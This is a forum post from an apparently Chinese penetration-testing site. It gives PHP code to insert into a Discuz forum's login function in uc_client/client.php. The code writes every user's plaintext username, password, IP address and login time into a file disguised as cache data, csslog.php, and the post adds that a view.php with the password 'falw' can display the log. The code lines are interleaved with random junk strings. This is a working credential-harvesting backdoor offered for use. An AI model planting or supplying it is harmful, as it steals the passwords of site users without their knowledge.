中国网络渗透测试联盟
标题:
dz1.5记录用户名和密码
[打印本页]
作者:
admin
时间:
2013-2-27 21:40
标题:
dz1.5记录用户名和密码
修改uc_client目录下的client.php 在
?) d& s3 }+ o4 p( [! R0 v1 X
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
, Z4 R0 m3 T9 ^* l8 V
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
' L0 u& ]7 ?8 @+ S7 w: ?' g
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为：falw
- x$ I$ h+ t! x3 {" W
if(getenv('HTTP_CLIENT_IP')) {
2 X7 l8 _1 b4 \. R
$onlineip = getenv('HTTP_CLIENT_IP');
" N; h# i& @$ @- O
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
1 H, C' s. P, r" w
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
& w5 G9 I/ m, P# u( M) c2 k
} elseif(getenv('REMOTE_ADDR')) {
5 x/ {5 T% N- G B6 v6 V
$onlineip = getenv('REMOTE_ADDR');
/ t% _# c: K: ]( d4 P; X
} else {
" l) }# f7 Z) C# i
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
4 t7 ]3 e' o' M
}
! p) r" ?# C& G: \4 `0 W
$showtime=date("Y-m-d H:i:s");
$ B, Y' F9 l( L$ r1 D
$record="<?exit();?>用户：".$username." 密码：".$password." IP:".$onlineip." Time:".$showtime."\r\n";
5 G# R6 N. U$ u' B! q
$handle=fopen('./data/cache/csslog.php','a+');
; |( I7 R, E" N! v% ]+ G N" E' s
$write=fwrite($handle,$record);
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2